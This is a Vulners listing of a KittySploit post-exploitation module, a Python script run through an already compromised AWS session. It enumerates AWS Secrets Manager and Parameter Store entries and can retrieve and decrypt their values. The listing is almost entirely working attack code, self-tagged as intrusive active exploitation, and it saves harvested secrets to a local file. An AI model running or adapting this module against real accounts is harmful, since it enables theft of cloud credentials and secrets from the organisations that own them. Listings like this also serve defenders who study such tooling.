Lucene search
+L

Enumerate AWS Secrets

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

KittySploit module to enumerate secrets from AWS Secrets Manager and Parameter Store.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
AWS Secrets Manager Enumeration Module
Author: KittySploit Team
Version: 1.0.0

This module enumerates secrets from AWS Secrets Manager and Parameter Store.
"""

from kittysploit import *
import json
import base64
from core.output_handler import print_info, print_success, print_error, print_warning

class Module(Post):
    """Enumerate secrets from AWS Secrets Manager and Parameter Store"""
    
    __info__ = {
        "name": "Enumerate AWS Secrets",
        "description": "Enumerate secrets from AWS Secrets Manager and Systems Manager Parameter Store",
        "author": "KittySploit Team",
        "version": "1.0.0",
        "session_type": SessionType.AWS,
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }
    
    enum_secrets_manager = OptBool(True, "Enumerate AWS Secrets Manager", False)
    enum_parameter_store = OptBool(True, "Enumerate Systems Manager Parameter Store", False)
    retrieve_values = OptBool(False, "Retrieve secret values (WARNING: may expose sensitive data)", False)
    filter_pattern = OptString("", "Filter secrets by name pattern (e.g., 'prod-*')", False)
    output_file = OptString("", "Output file to save results (JSON format)", False)
    
    def run(self):
        """Run the secrets enumeration"""
        try:
            results = {}
            
            print_info("Starting AWS secrets enumeration...")
            print_info("=" * 80)
            
            # Enumerate Secrets Manager
            if self.enum_secrets_manager:
                print_info("\n[1] Enumerating AWS Secrets Manager...")
                secrets = self._enum_secrets_manager()
                if secrets:
                    results['secrets_manager'] = secrets
                    print_success(f"Found {len(secrets)} secrets in Secrets Manager")
                    
                    for secret in secrets:
                        name = secret.get('Name', 'Unknown')
                        arn = secret.get('ARN', 'Unknown')
                        print_info(f"  - {name}")
                        print_info(f"    ARN: {arn}")
                        
                        # Retrieve value if requested
                        if self.retrieve_values:
                            print_info(f"    Retrieving value...")
                            value = self._get_secret_value(name)
                            if value:
                                secret['value'] = value
                                # Mask sensitive parts
                                if isinstance(value, dict):
                                    for k, v in value.items():
                                        if isinstance(v, str) and len(v) > 10:
                                            masked = v[:4] + "*" * (len(v) - 8) + v[-4:]
                                            print_info(f"      {k}: {masked}")
                                else:
                                    if isinstance(value, str) and len(value) > 10:
                                        masked = value[:4] + "*" * (len(value) - 8) + value[-4:]
                                        print_info(f"      Value: {masked}")
                    print_warning("⚠️  Secret values retrieved - handle with extreme care!")
                else:
                    print_info("No secrets found in Secrets Manager or access denied")
            
            # Enumerate Parameter Store
            if self.enum_parameter_store:
                print_info("\n[2] Enumerating Systems Manager Parameter Store...")
                parameters = self._enum_parameter_store()
                if parameters:
                    results['parameter_store'] = parameters
                    print_success(f"Found {len(parameters)} parameters in Parameter Store")
                    
                    for param in parameters[:20]:  # Show first 20
                        name = param.get('Name', 'Unknown')
                        param_type = param.get('Type', 'Unknown')
                        print_info(f"  - {name} ({param_type})")
                        
                        # Retrieve value if requested
                        if self.retrieve_values:
                            value = self._get_parameter_value(name, param_type == 'SecureString')
                            if value:
                                param['value'] = value
                                if isinstance(value, str) and len(value) > 10:
                                    masked = value[:4] + "*" * (len(value) - 8) + value[-4:]
                                    print_info(f"      Value: {masked}")
                    
                    if len(parameters) > 20:
                        print_info(f"  ... and {len(parameters) - 20} more")
                    print_warning("⚠️  Parameter values retrieved - handle with extreme care!")
                else:
                    print_info("No parameters found in Parameter Store or access denied")
            
            # Summary
            print_info("\n" + "=" * 80)
            print_info("ENUMERATION SUMMARY")
            print_info("=" * 80)
            print_success(f"Enumerated:")
            print_info(f"  - Secrets Manager: {len(results.get('secrets_manager', []))}")
            print_info(f"  - Parameter Store: {len(results.get('parameter_store', []))}")
            
            if self.retrieve_values:
                print_warning("⚠️  Secret values were retrieved - ensure secure storage!")
            
            # Save to file if requested
            if self.output_file:
                try:
                    # Don't save actual values unless explicitly requested
                    save_data = results.copy()
                    if not self.retrieve_values:
                        # Remove any accidentally retrieved values
                        for secret in save_data.get('secrets_manager', []):
                            secret.pop('value', None)
                        for param in save_data.get('parameter_store', []):
                            param.pop('value', None)
                    
                    with open(self.output_file, 'w') as f:
                        json.dump(save_data, f, indent=2, default=str)
                    print_success(f"Results saved to {self.output_file}")
                except Exception as e:
                    print_error(f"Failed to save results: {e}")
            
            return True
            
        except Exception as e:
            print_error(f"Error during enumeration: {e}")
            import traceback
            traceback.print_exc()
            return False
    
    def _enum_secrets_manager(self):
        """Enumerate Secrets Manager secrets"""
        cmd = "aws secretsmanager list-secrets 2>/dev/null"
        result = self.cmd_execute(cmd)
        
        if result:
            try:
                data = json.loads(result)
                secrets = data.get('SecretList', [])
                
                # Filter by pattern if specified
                if self.filter_pattern:
                    import fnmatch
                    pattern = self.filter_pattern
                    secrets = [s for s in secrets if fnmatch.fnmatch(s.get('Name', ''), pattern)]
                
                return secrets
            except:
                pass
        
        # Try Python boto3
        python_cmd = """
python3 -c "
import boto3, json
try:
    sm = boto3.client('secretsmanager')
    response = sm.list_secrets()
    print(json.dumps(response.get('SecretList', [])))
except Exception as e:
    print('ERROR:', str(e))
" 2>/dev/null
"""
        result = self.cmd_execute(python_cmd)
        if result and 'ERROR' not in result:
            try:
                secrets = json.loads(result)
                # Filter by pattern if specified
                if self.filter_pattern:
                    import fnmatch
                    pattern = self.filter_pattern
                    secrets = [s for s in secrets if fnmatch.fnmatch(s.get('Name', ''), pattern)]
                return secrets
            except:
                pass
        return []
    
    def _get_secret_value(self, secret_name):
        """Get secret value"""
        cmd = f"aws secretsmanager get-secret-value --secret-id {secret_name} 2>/dev/null"
        result = self.cmd_execute(cmd)
        
        if result:
            try:
                data = json.loads(result)
                secret_string = data.get('SecretString')
                if secret_string:
                    # Try to parse as JSON
                    try:
                        return json.loads(secret_string)
                    except:
                        return secret_string
            except:
                pass
        return None
    
    def _enum_parameter_store(self):
        """Enumerate Parameter Store parameters"""
        cmd = "aws ssm describe-parameters 2>/dev/null"
        result = self.cmd_execute(cmd)
        
        if result:
            try:
                data = json.loads(result)
                parameters = data.get('Parameters', [])
                
                # Filter by pattern if specified
                if self.filter_pattern:
                    import fnmatch
                    pattern = self.filter_pattern
                    parameters = [p for p in parameters if fnmatch.fnmatch(p.get('Name', ''), pattern)]
                
                return parameters
            except:
                pass
        
        # Try Python boto3
        python_cmd = """
python3 -c "
import boto3, json
try:
    ssm = boto3.client('ssm')
    response = ssm.describe_parameters()
    print(json.dumps(response.get('Parameters', [])))
except Exception as e:
    print('ERROR:', str(e))
" 2>/dev/null
"""
        result = self.cmd_execute(python_cmd)
        if result and 'ERROR' not in result:
            try:
                parameters = json.loads(result)
                # Filter by pattern if specified
                if self.filter_pattern:
                    import fnmatch
                    pattern = self.filter_pattern
                    parameters = [p for p in parameters if fnmatch.fnmatch(p.get('Name', ''), pattern)]
                return parameters
            except:
                pass
        return []
    
    def _get_parameter_value(self, parameter_name, is_secure=False):
        """Get parameter value"""
        cmd = f"aws ssm get-parameter --name {parameter_name}"
        if is_secure:
            cmd += " --with-decryption"
        cmd += " 2>/dev/null"
        
        result = self.cmd_execute(cmd)
        
        if result:
            try:
                data = json.loads(result)
                param = data.get('Parameter', {})
                return param.get('Value')
            except:
                pass
        return None


Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
5.8Medium risk
Vulners AI Score5.8
3